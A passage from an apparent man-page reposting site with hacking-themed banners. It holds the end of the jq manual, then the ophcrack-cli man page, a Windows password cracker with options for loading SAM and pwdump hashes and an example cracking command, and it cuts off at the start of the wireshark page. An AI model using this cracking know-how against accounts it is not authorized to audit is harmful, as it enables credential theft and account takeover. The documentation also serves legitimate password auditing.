=> {"offset": 0, "length": 3, "string": "foo", "captures": []}, {"offset": 8, "length": 3, "string": "FOO", "captures": []}

jq 'match("foo (?<bar123>bar)? foo"; "ig")'
   "foo bar foo foo  foo"
=> {"offset": 0, "length": 11, "string": "foo bar foo", "captures": [{"offset": 4, "length": 3, "string": "bar", "name": "bar123"}]}, {"offset": 12, "length": 8, "string": "foo  foo", "captures": [{"offset": -1, "length": 0, "string": null, "name": "bar123"}]}

jq '[ match("."; "g")] | length'
   "abc"
=> 3

capture(val), capture(regex; flags)

Collects the named captures in a JSON object, with the name of each capture as the key, and the matched string as the corresponding value.

jq 'capture("(?<a>[a-z]+)-(?<n>[0-9]+)")'
   "xyzzy-14"
=> { "a": "xyzzy", "n": "14" }

scan(regex), scan(regex; flags)

Emit a stream of the non-overlapping substrings of the input that match the regex in accordance with the flags, if any have been specified. If there is no match, the stream is empty. To capture all the matches for each input string, use the idiom [ expr ], e.g. [ scan(regex) ].

jq 'scan("c")'
   "abcdefabc"
=> "c", "c"

split(regex; flags)

Splits an input string on each regex match.

For backwards compatibility, when called with a single argument, split splits on a string, not a regex.

jq 'split(", *"; null)'
   "ab,cd, ef"
=> ["ab","cd","ef"]

splits(regex), splits(regex; flags)

These provide the same results as their split counterparts, but as a stream instead of an array.

jq 'splits(", *")'
   "ab,cd,   ef, gh"
=> "ab", "cd", "ef", "gh"

sub(regex; tostring), sub(regex; tostring; flags)

Emit the string obtained by replacing the first match of regex in the input string with tostring, after interpolation. tostring should be a jq string or a stream of such strings, each of which may contain references to named captures. The named captures are, in effect, presented as a JSON object (as constructed by capture) to tostring, so a reference to a captured variable named “x” would take the form: ".x)".

jq 'sub("[^a-z]*(?<x>[a-z]+)"; "Z\(.x)"; "g")'
   "123abc456def"
=> "ZabcZdef"

jq '[sub("(?<a>.)"; "\(.a|ascii_upcase)", "\(.a|ascii_downcase)")]'
   "aB"
=> ["AB","aB"]

gsub(regex; tostring), gsub(regex; tostring; flags)

gsub is like sub but all the non-overlapping occurrences of the regex are replaced by tostring, after interpolation. If the second argument is a stream of jq strings, then gsub will produce a corresponding stream of JSON strings.

jq 'gsub("(?<x>.)[^a]*"; "+\(.x)-")'
   "Abcabc"
=> "+A-+a-"

jq '[gsub("p"; "a", "b")]'
   "p"
=> ["a","b"]

ADVANCED FEATURES

Variables are an absolute necessity in most programming languages, but they’re relegated to an “advanced feature” in jq.

In most languages, variables are the only means of passing around data. If you calculate a value, and you want to use it more than once, you’ll need to store it in a variable. To pass a value to another part of the program, you’ll need that part of the program to define a variable (as a function parameter, object member, or whatever) in which to place the data.

It is also possible to define functions in jq, although this is is a feature whose biggest use is defining jq’s standard library (many jq functions such as map and select are in fact written in jq).

jq has reduction operators, which are very powerful but a bit tricky. Again, these are mostly used internally, to define some useful bits of jq’s standard library.

It may not be obvious at first, but jq is all about generators (yes, as often found in other languages). Some utilities are provided to help deal with generators.

Some minimal I/O support (besides reading JSON from standard input, and writing JSON to standard output) is available.

Finally, there is a module/library system.

Variable / Symbolic Binding Operator: … as $identifier | …

In jq, all filters have an input and an output, so manual plumbing is not necessary to pass a value from one part of a program to the next. Many expressions, for instance a + b, pass their input to two distinct subexpressions (here a and b are both passed the same input), so variables aren’t usually necessary in order to use a value twice.

For instance, calculating the average value of an array of numbers requires a few variables in most languages - at least one to hold the array, perhaps one for each element or for a loop counter. In jq, it’s simply add / length - the add expression is given the array and produces its sum, and the length expression is given the array and produces its length.

So, there’s generally a cleaner way to solve most problems in jq than defining variables. Still, sometimes they do make things easier, so jq lets you define variables using expression as $variable. All variable names start with $. Here’s a slightly uglier version of the array-averaging example:

length as $array_length | add / $array_length

We’ll need a more complicated problem to find a situation where using variables actually makes our lives easier.

Suppose we have an array of blog posts, with “author” and “title” fields, and another object which is used to map author usernames to real names. Our input looks like:

{"posts": [{"title": "First post", "author": "anon"},
           {"title": "A well-written article", "author": "person1"}],
 "realnames": {"anon": "Anonymous Coward",
               "person1": "Person McPherson"}}

We want to produce the posts with the author field containing a real name, as in:

{"title": "First post", "author": "Anonymous Coward"}
{"title": "A well-written article", "author": "Person McPherson"}

We use a variable, $names, to store the realnames object, so that we can refer to it later when looking up author usernames:

.realnames as $names | .posts[] | {title, author: $names[.author]}

The expression exp as $x | … means: for each value of expression exp, run the rest of the pipeline with the entire original input, and with $x set to that value. Thus as functions as something of a foreach loop.

Just as {foo} is a handy way of writing {foo: .foo}, so {$foo} is a handy way of writing {foo: $foo}.

Multiple variables may be declared using a single as expression by providing a pattern that matches the structure of the input (this is known as “destructuring”):

. as {realnames: $names, posts: [$first, $second]} | ...

The variable declarations in array patterns (e.g., . as [$first, $second]) bind to the elements of the array in from the element at index zero on up, in order. When there is no value at the index for an array pattern element, null is bound to that variable.

Variables are scoped over the rest of the expression that defines them, so

.realnames as $names | (.posts[] | {title, author: $names[.author]})

will work, but

(.realnames as $names | .posts[]) | {title, author: $names[.author]}

won’t.

For programming language theorists, it’s more accurate to say that jq variables are lexically-scoped bindings. In particular there’s no way to change the value of a binding; one can only setup a new binding with the same name, but which will not be visible where the old one was.

jq '.bar as $x | .foo | . + $x'
   {"foo":10, "bar":200}
=> 210

jq '. as $i|[(.*2|. as $i| $i), $i]'
   5
=> [10,5]

jq '. as [$a, $b, {c: $c}] | $a + $b + $c'
   [2, 3, {"c": 4, "d": 5}]
=> 9

jq '.[] as [$a, $b] | {a: $a, b: $b}'
   [[0], [0, 1], [2, 1, 0]]
=> {"a":0,"b":null}, {"a":0,"b":1}, {"a":2,"b":1}

Destructuring Alternative Operator: ?//

The destructuring alternative operator provides a concise mechanism for destructuring an input that can take one of several forms.

Suppose we have an API that returns a list of resources and events associated with them, and we want to get the user_id and timestamp of the first event for each resource. The API (having been clumsily converted from XML) will only wrap the events in an array if the resource has multiple events:

{"resources": [{"id": 1, "kind": "widget", "events": {"action": "create", "user_id": 1, "ts": 13}},
               {"id": 2, "kind": "widget", "events": [{"action": "create", "user_id": 1, "ts": 14}, {"action": "destroy", "user_id": 1, "ts": 15}]}]}

We can use the destructuring alternative operator to handle this structural change simply:

.resources[] as {$id, $kind, events: {$user_id, $ts}} ?// {$id, $kind, events: [{$user_id, $ts}]} | {$user_id, $kind, $id, $ts}

Or, if we aren’t sure if the input is an array of values or an object:

.[] as [$id, $kind, $user_id, $ts] ?// {$id, $kind, $user_id, $ts} | ...

Each alternative need not define all of the same variables, but all named variables will be available to the subsequent expression. Variables not matched in the alternative that succeeded will be null:

.resources[] as {$id, $kind, events: {$user_id, $ts}} ?// {$id, $kind, events: [{$first_user_id, $first_ts}]} | {$user_id, $first_user_id, $kind, $id, $ts, $first_ts}

Additionally, if the subsequent expression returns an error, the alternative operator will attempt to try the next binding. Errors that occur during the final alternative are passed through.

[[3]] | .[] as [$a] ?// [$b] | if $a != null then error("err: \($a)") else {$a,$b} end

jq '.[] as {$a, $b, c: {$d, $e}} ?// {$a, $b, c: [{$d, $e}]} | {$a, $b, $d, $e}'
   [{"a": 1, "b": 2, "c": {"d": 3, "e": 4}}, {"a": 1, "b": 2, "c": [{"d": 3, "e": 4}]}]
=> {"a":1,"b":2,"d":3,"e":4}, {"a":1,"b":2,"d":3,"e":4}

jq '.[] as {$a, $b, c: {$d}} ?// {$a, $b, c: [{$e}]} | {$a, $b, $d, $e}'
   [{"a": 1, "b": 2, "c": {"d": 3, "e": 4}}, {"a": 1, "b": 2, "c": [{"d": 3, "e": 4}]}]
=> {"a":1,"b":2,"d":3,"e":null}, {"a":1,"b":2,"d":null,"e":4}

jq '.[] as [$a] ?// [$b] | if $a != null then error("err: \($a)") else {$a,$b} end'
   [[3]]
=> {"a":null,"b":3}

Defining Functions

You can give a filter a name using “def” syntax:

def increment: . + 1;

From then on, increment is usable as a filter just like a builtin function (in fact, this is how many of the builtins are defined). A function may take arguments:

def map(f): [.[] | f];

Arguments are passed as filters (functions with no arguments), not as values. The same argument may be referenced multiple times with different inputs (here f is run for each element of the input array). Arguments to a function work more like callbacks than like value arguments. This is important to understand. Consider:

def foo(f): f|f;
5|foo(.*2)

The result will be 20 because f is .*2, and during the first invocation of f . will be 5, and the second time it will be 10 (5 * 2), so the result will be 20. Function arguments are filters, and filters expect an input when invoked.

If you want the value-argument behaviour for defining simple functions, you can just use a variable:

def addvalue(f): f as $f | map(. + $f);

Or use the short-hand:

def addvalue($f): ...;

With either definition, addvalue(.foo) will add the current input’s .foo field to each element of the array. Do note that calling addvalue(.[]) will cause the map(. + $f) part to be evaluated once per value in the value of . at the call site.

Multiple definitions using the same function name are allowed. Each re-definition replaces the previous one for the same number of function arguments, but only for references from functions (or main program) subsequent to the re-definition. See also the section below on scoping.

jq 'def addvalue(f): . + [f]; map(addvalue(.[0]))'
   [[1,2],[10,20]]
=> [[1,2,1], [10,20,10]]

jq 'def addvalue(f): f as $x | map(. + $x); addvalue(.[0])'
   [[1,2],[10,20]]
=> [[1,2,1,2], [10,20,1,2]]

Scoping

There are two types of symbols in jq: value bindings (a.k.a., “variables”), and functions. Both are scoped lexically, with expressions being able to refer only to symbols that have been defined “to the left” of them. The only exception to this rule is that functions can refer to themselves so as to be able to create recursive functions.

For example, in the following expression there is a binding which is visible “to the right” of it, … | .*3 as $times_three | [. + $times_three] | …, but not “to the left”. Consider this expression now, … | (.*3 as $times_three | [. + $times_three]) | …: here the binding $times_three is not visible past the closing parenthesis.

isempty(exp)

Returns true if exp produces no outputs, false otherwise.

jq 'isempty(empty)'
   null
=> true

jq 'isempty(.[])'
   []
=> true

jq 'isempty(.[])'
   [1,2,3]
=> false

limit(n; exp)

The limit function extracts up to n outputs from exp.

jq '[limit(3;.[])]'
   [0,1,2,3,4,5,6,7,8,9]
=> [0,1,2]

first(expr), last(expr), nth(n; expr)

The first(expr) and last(expr) functions extract the first and last values from expr, respectively.

The nth(n; expr) function extracts the nth value output by expr. Note that nth(n; expr) doesn’t support negative values of n.

jq '[first(range(.)), last(range(.)), nth(./2; range(.))]'
   10
=> [0,9,5]

first, last, nth(n)

The first and last functions extract the first and last values from any array at ..

The nth(n) function extracts the nth value of any array at ..

jq '[range(.)]|[first, last, nth(5)]'
   10
=> [0,9,5]

reduce

The reduce syntax allows you to combine all of the results of an expression by accumulating them into a single answer. The form is reduce EXP as $var (INIT; UPDATE). As an example, we’ll pass [1,2,3] to this expression:

reduce .[] as $item (0; . + $item)

For each result that .[] produces, . + $item is run to accumulate a running total, starting from 0 as the input value. In this example, .[] produces the results 1, 2, and 3, so the effect is similar to running something like this:

0 | 1 as $item | . + $item |
    2 as $item | . + $item |
    3 as $item | . + $item

jq 'reduce .[] as $item (0; . + $item)'
   [1,2,3,4,5]
=> 15

jq 'reduce .[] as [$i,$j] (0; . + $i * $j)'
   [[1,2],[3,4],[5,6]]
=> 44

jq 'reduce .[] as {$x,$y} (null; .x += $x | .y += [$y])'
   [{"x":"a","y":1},{"x":"b","y":2},{"x":"c","y":3}]
=> {"x":"abc","y":[1,2,3]}

foreach

The foreach syntax is similar to reduce, but intended to allow the construction of limit and reducers that produce intermediate results.

The form is foreach EXP as $var (INIT; UPDATE; EXTRACT). As an example, we’ll pass [1,2,3] to this expression:

foreach .[] as $item (0; . + $item; [$item, . * 2])

Like the reduce syntax, . + $item is run for each result that .[] produces, but [$item, . * 2] is run for each intermediate values. In this example, since the intermediate values are 1, 3, and 6, the foreach expression produces [1,2], [2,6], and [3,12]. So the effect is similar to running something like this:

0 | 1 as $item | . + $item | [$item, . * 2],
    2 as $item | . + $item | [$item, . * 2],
    3 as $item | . + $item | [$item, . * 2]

When EXTRACT is omitted, the identity filter is used. That is, it outputs the intermediate values as they are.

jq 'foreach .[] as $item (0; . + $item)'
   [1,2,3,4,5]
=> 1, 3, 6, 10, 15

jq 'foreach .[] as $item (0; . + $item; [$item, . * 2])'
   [1,2,3,4,5]
=> [1,2], [2,6], [3,12], [4,20], [5,30]

jq 'foreach .[] as $item (0; . + 1; {index: ., $item})'
   ["foo", "bar", "baz"]
=> {"index":1,"item":"foo"}, {"index":2,"item":"bar"}, {"index":3,"item":"baz"}

Recursion

As described above, recurse uses recursion, and any jq function can be recursive. The while builtin is also implemented in terms of recursion.

Tail calls are optimized whenever the expression to the left of the recursive call outputs its last value. In practice this means that the expression to the left of the recursive call should not produce more than one output for each input.

For example:

def recurse(f): def r: ., (f | select(. != null) | r); r;

def while(cond; update):
  def _while:
    if cond then ., (update | _while) else empty end;
  _while;

def repeat(exp):
  def _repeat:
    exp, _repeat;
  _repeat;

Generators and iterators

Some jq operators and functions are actually generators in that they can produce zero, one, or more values for each input, just as one might expect in other programming languages that have generators. For example, .[] generates all the values in its input (which must be an array or an object), range(0; 10) generates the integers between 0 and 10, and so on.

Even the comma operator is a generator, generating first the values generated by the expression to the left of the comma, then the values generated by the expression on the right of the comma.

The empty builtin is the generator that produces zero outputs. The empty builtin backtracks to the preceding generator expression.

All jq functions can be generators just by using builtin generators. It is also possible to construct new generators using only recursion and the comma operator. If recursive calls are “in tail position” then the generator will be efficient. In the example below the recursive call by _range to itself is in tail position. The example shows off three advanced topics: tail recursion, generator construction, and sub-functions.

jq 'def range(init; upto; by): def _range: if (by > 0 and . < upto) or (by < 0 and . > upto) then ., ((.+by)|_range) else . end; if by == 0 then init else init|_range end | select((by > 0 and . < upto) or (by < 0 and . > upto)); range(0; 10; 3)'
   null
=> 0, 3, 6, 9

jq 'def while(cond; update): def _while: if cond then ., (update | _while) else empty end; _while; [while(.<100; .*2)]'
   1
=> [1,2,4,8,16,32,64]

MATH

jq currently only has IEEE754 double-precision (64-bit) floating point number support.

Besides simple arithmetic operators such as +, jq also has most standard math functions from the C math library. C math functions that take a single input argument (e.g., sin()) are available as zero-argument jq functions. C math functions that take two input arguments (e.g., pow()) are available as two-argument jq functions that ignore .. C math functions that take three input arguments are available as three-argument jq functions that ignore ..

Availability of standard math functions depends on the availability of the corresponding math functions in your operating system and C math library. Unavailable math functions will be defined but will raise an error.

One-input C math functions: acos acosh asin asinh atan atanh cbrt ceil cos cosh erf erfc exp exp10 exp2 expm1 fabs floor gamma j0 j1 lgamma log log10 log1p log2 logb nearbyint pow10 rint round significand sin sinh sqrt tan tanh tgamma trunc y0 y1.

Two-input C math functions: atan2 copysign drem fdim fmax fmin fmod frexp hypot jn ldexp modf nextafter nexttoward pow remainder scalb scalbln yn.

Three-input C math functions: fma.

See your system’s manual for more information on each of these.

I/O

At this time jq has minimal support for I/O, mostly in the form of control over when inputs are read. Two builtins functions are provided for this, input and inputs, that read from the same sources (e.g., stdin, files named on the command-line) as jq itself. These two builtins, and jq’s own reading actions, can be interleaved with each other. They are commonly used in combination with the null input option -n to prevent one input from being read implicitly.

Two builtins provide minimal output capabilities, debug, and stderr. (Recall that a jq program’s output values are always output as JSON texts on stdout.) The debug builtin can have application-specific behavior, such as for executables that use the libjq C API but aren’t the jq executable itself. The stderr builtin outputs its input in raw mode to stder with no additional decoration, not even a newline.

Most jq builtins are referentially transparent, and yield constant and repeatable value streams when applied to constant inputs. This is not true of I/O builtins.

input

Outputs one new input.

Note that when using input it is generally be necessary to invoke jq with the -n command-line option, otherwise the first entity will be lost.

echo 1 2 3 4 | jq '[., input]' # [1,2] [3,4]

inputs

Outputs all remaining inputs, one by one.

This is primarily useful for reductions over a program’s inputs. Note that when using inputs it is generally necessary to invoke jq with the -n command-line option, otherwise the first entity will be lost.

echo 1 2 3 | jq -n 'reduce inputs as $i (0; . + $i)' # 6

debug, debug(msgs)

These two filters are like . but have as a side-effect the production of one or more messages on stderr.

The message produced by the debug filter has the form

["DEBUG:",<input-value>]

where <input-value> is a compact rendition of the input value. This format may change in the future.

The debug(msgs) filter is defined as (msgs | debug | empty), . thus allowing great flexibility in the content of the message, while also allowing multi-line debugging statements to be created.

For example, the expression:

1 as $x | 2 | debug("Entering function foo with $x == \($x)", .) | (.+1)

would produce the value 3 but with the following two lines being written to stderr:

["DEBUG:","Entering function foo with $x == 1"]
["DEBUG:",2]

stderr

Prints its input in raw and compact mode to stderr with no additional decoration, not even a newline.

input_filename

Returns the name of the file whose input is currently being filtered. Note that this will not work well unless jq is running in a UTF-8 locale.

input_line_number

Returns the line number of the input currently being filtered.

STREAMING

With the –stream option jq can parse input texts in a streaming fashion, allowing jq programs to start processing large JSON texts immediately rather than after the parse completes. If you have a single JSON text that is 1GB in size, streaming it will allow you to process it much more quickly.

However, streaming isn’t easy to deal with as the jq program will have [<path>, <leaf-value>] (and a few other forms) as inputs.

Several builtins are provided to make handling streams easier.

The examples below use the streamed form of [0,[1]], which is [[0],0],[[1,0],1],[[1,0]],[[1]].

Streaming forms include [<path>, <leaf-value>] (to indicate any scalar value, empty array, or empty object), and [<path>] (to indicate the end of an array or object). Future versions of jq run with –stream and –seq may output additional forms such as [“error message”] when an input text fails to parse.

truncate_stream(stream_expression)

Consumes a number as input and truncates the corresponding number of path elements from the left of the outputs of the given streaming expression.

jq 'truncate_stream([[0],1],[[1,0],2],[[1,0]],[[1]])'
   1
=> [[0],2], [[0]]

fromstream(stream_expression)

Outputs values corresponding to the stream expression’s outputs.

jq 'fromstream(1|truncate_stream([[0],1],[[1,0],2],[[1,0]],[[1]]))'
   null
=> [2]

tostream

The tostream builtin outputs the streamed form of its input.

jq '. as $dot|fromstream($dot|tostream)|.==$dot'
   [0,[1,{"a":1},{"b":2}]]
=> true

ASSIGNMENT

Assignment works a little differently in jq than in most programming languages. jq doesn’t distinguish between references to and copies of something - two objects or arrays are either equal or not equal, without any further notion of being “the same object” or “not the same object”.

If an object has two fields which are arrays, .foo and .bar, and you append something to .foo, then .bar will not get bigger, even if you’ve previously set .bar = .foo. If you’re used to programming in languages like Python, Java, Ruby, JavaScript, etc. then you can think of it as though jq does a full deep copy of every object before it does the assignment (for performance it doesn’t actually do that, but that’s the general idea).

This means that it’s impossible to build circular values in jq (such as an array whose first element is itself). This is quite intentional, and ensures that anything a jq program can produce can be represented in JSON.

All the assignment operators in jq have path expressions on the left-hand side (LHS). The right-hand side (RHS) provides values to set to the paths named by the LHS path expressions.

Values in jq are always immutable. Internally, assignment works by using a reduction to compute new, replacement values for . that have had all the desired assignments applied to ., then outputting the modified value. This might be made clear by this example: {a:{b:{c:1}}} | (.a.b|=3), .. This will output {“a”:{“b”:3}} and {“a”:{“b”:{“c”:1}}} because the last sub-expression, ., sees the original value, not the modified value.

Most users will want to use modification assignment operators, such as |= or +=, rather than =.

Note that the LHS of assignment operators refers to a value in .. Thus $var.foo = 1 won’t work as expected ($var.foo is not a valid or useful path expression in .); use $var | .foo = 1 instead.

Note too that .a,.b=0 does not set .a and .b, but (.a,.b)=0 sets both.

Update-assignment: |=

This is the “update” operator |=. It takes a filter on the right-hand side and works out the new value for the property of . being assigned to by running the old value through this expression. For instance, (.foo, .bar) |= .+1 will build an object with the foo field set to the input’s foo plus 1, and the bar field set to the input’s bar plus 1.

The left-hand side can be any general path expression; see path().

Note that the left-hand side of |= refers to a value in .. Thus $var.foo |= . + 1 won’t work as expected ($var.foo is not a valid or useful path expression in .); use $var | .foo |= . + 1 instead.

If the right-hand side outputs no values (i.e., empty), then the left-hand side path will be deleted, as with del(path).

If the right-hand side outputs multiple values, only the first one will be used (COMPATIBILITY NOTE: in jq 1.5 and earlier releases, it used to be that only the last one was used).

jq '(..|select(type=="boolean")) |= if . then 1 else 0 end'
   [true,false,[5,true,[true,[false]],false]]
=> [1,0,[5,1,[1,[0]],0]]

Arithmetic update-assignment: +=, -=, *=, /=, %=, //=

jq has a few operators of the form a op= b, which are all equivalent to a |= . op b. So, += 1 can be used to increment values, being the same as |= . + 1.

jq '.foo += 1'
   {"foo": 42}
=> {"foo": 43}

Plain assignment: =

This is the plain assignment operator. Unlike the others, the input to the right-hand side (RHS) is the same as the input to the left-hand side (LHS) rather than the value at the LHS path, and all values output by the RHS will be used (as shown below).

If the RHS of = produces multiple values, then for each such value jq will set the paths on the left-hand side to the value and then it will output the modified .. For example, (.a,.b) = range(2) outputs {“a”:0,“b”:0}, then {“a”:1,“b”:1}. The “update” assignment forms (see above) do not do this.

This example should show the difference between = and |=:

Provide input {“a”: {“b”: 10}, “b”: 20} to the programs

.a = .b

and

.a |= .b

The former will set the a field of the input to the b field of the input, and produce the output {“a”: 20, “b”: 20}. The latter will set the a field of the input to the a field’s b field, producing {“a”: 10, “b”: 20}.

jq '.a = .b'
   {"a": {"b": 10}, "b": 20}
=> {"a":20,"b":20}

jq '.a |= .b'
   {"a": {"b": 10}, "b": 20}
=> {"a":10,"b":20}

jq '(.a, .b) = range(3)'
   null
=> {"a":0,"b":0}, {"a":1,"b":1}, {"a":2,"b":2}

jq '(.a, .b) |= range(3)'
   null
=> {"a":0,"b":0}

Complex assignments

Lots more things are allowed on the left-hand side of a jq assignment than in most languages. We’ve already seen simple field accesses on the left hand side, and it’s no surprise that array accesses work just as well:

.posts[0].title = "JQ Manual"

What may come as a surprise is that the expression on the left may produce multiple results, referring to different points in the input document:

.posts[].comments |= . + ["this is great"]

That example appends the string “this is great” to the “comments” array of each post in the input (where the input is an object with a field “posts” which is an array of posts).

When jq encounters an assignment like ‘a = b’, it records the “path” taken to select a part of the input document while executing a. This path is then used to find which part of the input to change while executing the assignment. Any filter may be used on the left-hand side of an equals - whichever paths it selects from the input will be where the assignment is performed.

This is a very powerful operation. Suppose we wanted to add a comment to blog posts, using the same “blog” input above. This time, we only want to comment on the posts written by “stedolan”. We can find those posts using the “select” function described earlier:

.posts[] | select(.author == "stedolan")

The paths provided by this operation point to each of the posts that “stedolan” wrote, and we can comment on each of them in the same way that we did before:

(.posts[] | select(.author == "stedolan") | .comments) |=
    . + ["terrible."]

MODULES

jq has a library/module system. Modules are files whose names end in .jq.

Modules imported by a program are searched for in a default search path (see below). The import and include directives allow the importer to alter this path.

Paths in the a search path are subject to various substitutions.

For paths starting with ~/, the user’s home directory is substituted for ~.

For paths starting with $ORIGIN/, the directory where the jq executable is located is substituted for $ORIGIN.

For paths starting with ./ or paths that are ., the path of the including file is substituted for .. For top-level programs given on the command-line, the current directory is used.

Import directives can optionally specify a search path to which the default is appended.

The default search path is the search path given to the -L command-line option, else ["~/.jq", “$ORIGIN/../lib/jq”, “$ORIGIN/../lib”].

Null and empty string path elements terminate search path processing.

A dependency with relative path foo/bar would be searched for in foo/bar.jq and foo/bar/bar.jq in the given search path. This is intended to allow modules to be placed in a directory along with, for example, version control files, README files, and so on, but also to allow for single-file modules.

Consecutive components with the same name are not allowed to avoid ambiguities (e.g., foo/foo).

For example, with -L$HOME/.jq a module foo can be found in $HOME/.jq/foo.jq and $HOME/.jq/foo/foo.jq.

If $HOME/.jq is a file, it is sourced into the main program.

import RelativePathString as NAME [<metadata>];

Imports a module found at the given path relative to a directory in a search path. A .jq suffix will be added to the relative path string. The module’s symbols are prefixed with NAME::.

The optional metadata must be a constant jq expression. It should be an object with keys like homepage and so on. At this time jq only uses the search key/value of the metadata. The metadata is also made available to users via the modulemeta builtin.

The search key in the metadata, if present, should have a string or array value (array of strings); this is the search path to be prefixed to the top-level search path.

include RelativePathString [<metadata>];

Imports a module found at the given path relative to a directory in a search path as if it were included in place. A .jq suffix will be added to the relative path string. The module’s symbols are imported into the caller’s namespace as if the module’s content had been included directly.

The optional metadata must be a constant jq expression. It should be an object with keys like homepage and so on. At this time jq only uses the search key/value of the metadata. The metadata is also made available to users via the modulemeta builtin.

import RelativePathString as $NAME [<metadata>];

Imports a JSON file found at the given path relative to a directory in a search path. A .json suffix will be added to the relative path string. The file’s data will be available as $NAME::NAME.

The optional metadata must be a constant jq expression. It should be an object with keys like homepage and so on. At this time jq only uses the search key/value of the metadata. The metadata is also made available to users via the modulemeta builtin.

The search key in the metadata, if present, should have a string or array value (array of strings); this is the search path to be prefixed to the top-level search path.

module <metadata>;

This directive is entirely optional. It’s not required for proper operation. It serves only the purpose of providing metadata that can be read with the modulemeta builtin.

The metadata must be a constant jq expression. It should be an object with keys like homepage. At this time jq doesn’t use this metadata, but it is made available to users via the modulemeta builtin.

modulemeta

Takes a module name as input and outputs the module’s metadata as an object, with the module’s imports (including metadata) as an array value for the deps key and the module’s defined functions as an array value for the defs key.

Programs can use this to query a module’s metadata, which they could then use to, for example, search for, download, and install missing dependencies.

COLORS

To configure alternative colors just set the JQ_COLORS environment variable to colon-delimited list of partial terminal escape sequences like “1;31”, in this order:

  • color for null

  • color for false

  • color for true

  • color for numbers

  • color for strings

  • color for arrays

  • color for objects

  • color for object keys

The default color scheme is the same as setting JQ_COLORS=“0;90:0;39:0;39:0;39:0;32:1;39:1;39:1;34”.

This is not a manual for VT100/ANSI escapes. However, each of these color specifications should consist of two numbers separated by a semi-colon, where the first number is one of these:

  • 1 (bright)

  • 2 (dim)

  • 4 (underscore)

  • 5 (blink)

  • 7 (reverse)

  • 8 (hidden)

and the second is one of these:

  • 30 (black)

  • 31 (red)

  • 32 (green)

  • 33 (yellow)

  • 34 (blue)

  • 35 (magenta)

  • 36 (cyan)

  • 37 (white)

BUGS

Presumably. Report them or discuss them at:

https://github.com/jqlang/jq/issues

AUTHOR

Stephen Dolan <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2031 - Linux cli command ophcrack-cli

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ophcrack-cli and provides detailed information about the command ophcrack-cli, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ophcrack-cli.

NAME 🖥️ ophcrack-cli 🖥️

a Microsoft Windows password cracker using rainbow tables.

DESCRIPTION

Ophcrack is a Windows password cracker based on a time-memory trade-off using rainbow tables.
This is a new variant of Hellman’s original trade-off, with better performance.
It recovers 99.9% of alphanumeric passwords in seconds.

Ophcrack works for Windows NT/2000/XP/Vista.

Ophcrack can be used with command line using the options below, or can be run as a pure graphical software.

If you have installed ophrack-cli package, graphical interface is not available.

SYNOPSIS

ophcrack [options]

OPTIONS

-a
disable audit mode (default)

-A
enable audit mode

-b
disable bruteforce

-B
enable bruteforce (default)

-c <file>
specify the config file to use

-D
display (lots of!) debugging information

-d <dir>
specify tables base directory

-e
do not display empty passwords

-f <file>
load hashes from the specified file (pwdump or session)

-g
disable GUI

-h
display this information

-i
hide usernames

-I
show usernames (default)

-l <file>
log all output to the specified file

-n <num>
specify the number of threads to use

-o <file>
write cracking output to file in pwdump format

-q
quiet mode

-r
launch the cracking when ophcrack starts (GUI only)

-s
disable session auto-saving

-S <session_file>
specify the file to use to automatically save the progress of the search

-u
display statistics when cracking ends

-t table1[,a[,b,…]][:table2[,a[,b,…]]]
specify which table to use in the directory given by -d

-v
verbose

-w <dir>
load hashes from encrypted SAM file in directory dir

-x
export data in CSV format to the file specified by -o

EXAMPLES

ophcrack -g -d /path/to/tables -t xp_free_fast,0,3:vista_free -f in.txt

Launch ophcrack in command line using tables 0 and 3 in /path/to/tables/xp_free_fast and all tables in /path/to/tables/vista_free and cracks hashes from pwdump file in.txt

SEE ALSO

Homepage: http://ophcrack.sourceforge.net/
Free rainbow tables: http://ophcrack.sourceforge.net/tables.php

AUTHOR

This manual page was written by Adam Cecile <[email protected]> for the Debian system (but may be used by others).
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2032 - Linux cli command wireshark

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wireshark and provides detailed information about the command wireshark, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wireshark.

NAME 🖥️ wireshark 🖥️

Interactively dump and analyze network traffic

SYNOPSIS

